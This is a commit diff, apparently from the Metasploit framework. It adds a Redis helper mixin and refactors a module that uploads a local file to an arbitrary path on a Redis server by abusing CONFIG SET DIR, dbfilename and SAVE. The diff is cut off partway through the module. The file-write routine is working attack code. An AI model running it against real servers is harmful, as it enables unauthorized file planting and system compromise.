First pass at redis mixin

bug/bundler_fix
Jon Hart 2015-12-10 08:29:59 -08:00
parent 4cc7853ad8
commit 21ab4e96e5
No known key found for this signature in database
GPG Key ID: 2FA9F0A3AFA8E9D3
3 changed files with 91 additions and 69 deletions

View File

@ -27,3 +27,4 @@ require 'msf/core/auxiliary/natpmp'
require 'msf/core/auxiliary/iax2' require 'msf/core/auxiliary/iax2'
require 'msf/core/auxiliary/ntp' require 'msf/core/auxiliary/ntp'
require 'msf/core/auxiliary/pii' require 'msf/core/auxiliary/pii'
require 'msf/core/auxiliary/redis'

View File

@ -0,0 +1,70 @@
# -*- coding: binary -*-
require 'msf/core/exploit'
module Msf
###
#
# This module provides methods for working with redis
#
###
module Auxiliary::Redis
include Msf::Exploit::Remote::Tcp
include Auxiliary::Scanner
include Auxiliary::Report
#
# Initializes an instance of an auxiliary module that interacts with Redis
#
def initialize(info = {})
super
register_options(
[
Opt::RPORT(6379),
]
)
register_advanced_options(
[
OptInt.new('READ_TIMEOUT', [true, 'Seconds to wait while reading redis responses', 2])
]
)
end
def peer
"#{rhost}:#{rport}"
end
def read_timeout
datastore['READ_TIMEOUT']
end
def redis_proto(commands)
return if commands.blank?
command = "*#{commands.length}\r\n"
commands.each do |c|
command << "$#{c.length}\r\n#{c}\r\n"
end
command
end
def report_redis(version)
report_service(
host: rhost,
port: rport,
proto: 'tcp',
name: 'redis',
info: "version #{version}"
)
end
def send_redis_command(*commands)
sock.put(redis_proto(commands))
data = sock.get_once(-1, read_timeout)
return unless data
data.strip!
vprint_status("#{peer} -- redis command '#{commands.join(' ')}' got #{data}")
data
end
end
end

View File

@ -6,9 +6,7 @@
require 'msf/core' require 'msf/core'
class Metasploit3 < Msf::Auxiliary class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Redis
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
def initialize(info = {}) def initialize(info = {})
super( super(
@ -35,74 +33,39 @@ class Metasploit3 < Msf::Auxiliary
) )
register_options( register_options(
[ [
Opt::RPORT(6379), OptPath.new('LocalFile', [false, 'Local file to be uploaded']),
OptPath.new('LocalFile', [true, 'Local file to be uploaded']), OptString.new('RemoteFile', [false, 'Remote file path'])
OptString.new('RemoteFile', [true, 'Remote file path'])
] ]
) )
register_advanced_options(
[
OptInt.new('READ_TIMEOUT', [true, 'Seconds to wait while reading redis responses', 2])
]
)
end
def read_timeout
datastore['READ_TIMEOUT']
end
def redis_proto(parts)
return if parts.blank?
command = "*#{parts.length}\r\n"
parts.each do |p|
command << "$#{p.length}\r\n#{p}\r\n"
end
command
end
def send_command(command)
command = redis_proto(command)
sock.put(command)
sock.get_once(-1, read_timeout)
end end
def send_file(path, content) def send_file(path, content)
dirname = File.dirname(path) dirname = File.dirname(path)
basename = File.basename(path) basename = File.basename(path)
original_dir = send_redis_command('CONFIG', 'GET', 'DIR')
data = send_redis_command('CONFIG', 'SET', 'DIR', dirname)
return unless data.include?('+OK')
data = send_redis_command('CONFIG', 'SET', 'dbfilename', basename)
return unless data.include?('+OK')
key = Rex::Text.rand_text_alpha(32) key = Rex::Text.rand_text_alpha(32)
command = ['CONFIG', 'SET', 'DIR', "#{dirname}"] data = send_redis_command('SET', key, content)
data = send_command(command)
vprint_status("REDIS Command: #{command.join(' ')} - #{data.chop}")
return unless data.include?('+OK') return unless data.include?('+OK')
command = ['CONFIG', 'SET', 'dbfilename', "#{basename}"] data = send_redis_command('SAVE')
data = send_command(command)
vprint_status("REDIS Command: #{command.join(' ')} - #{data.chop}")
return unless data.include?('+OK') return unless data.include?('+OK')
print_good("#{peer} -- saved file to #{path}")
command = ['SET', "#{key}", "#{content}"] data = send_redis_command('DEL', key)
data = send_command(command)
vprint_status("REDIS Command: #{command.join(' ')} - #{data.chop}")
return unless data.include?('+OK')
print_good("#{rhost}:#{rport}: save file to #{path}")
command = ['SAVE']
data = send_command(command)
vprint_status("REDIS Command: #{command.join(' ')} - #{data.chop}")
return unless data.include?('+OK')
command = ['DEL', "#{key}"]
data = send_command(command)
vprint_status("REDIS Command: #{command.join(' ')} - #{data.chop}")
return unless data.include?('+OK') return unless data.include?('+OK')
end end
def check def check
connect connect
data = send_command(['INFO']) data = send_redis_command('INFO')
disconnect disconnect
if data && /redis_version:(?<redis_version>\S+)/ =~ data if data && /redis_version:(?<redis_version>\S+)/ =~ data
report_redis(redis_version) report_redis(redis_version)
@ -112,29 +75,17 @@ class Metasploit3 < Msf::Auxiliary
end end
end end
def report_redis(version)
report_service(
host: rhost,
port: rport,
proto: 'tcp',
name: 'redis',
info: "version #{version}"
)
end
def peer
"#{rhost}:#{rport}"
end
def setup def setup
@upload_content = "\n\n#{IO.read(datastore['LocalFile'])}\n\n\n" @upload_content = "\n\n#{IO.read(datastore['LocalFile'])}\n\n\n" if datastore['LocalFile']
end end
def run_host(_ip) def run_host(_ip)
fail_with(Failure::BadConfig, "LocalFile must be set") unless datastore['LocalFile']
fail_with(Failure::BadConfig, "RemoteFile must be set") unless datastore['RemoteFile']
return unless check == Exploit::CheckCode::Vulnerable return unless check == Exploit::CheckCode::Vulnerable
connect connect
unless (res = send_command(['PING'])) unless (res = send_redis_command('PING'))
vprint_error("#{peer} -- did not respond to our redis PING") vprint_error("#{peer} -- did not respond to our redis PING")
return return
end end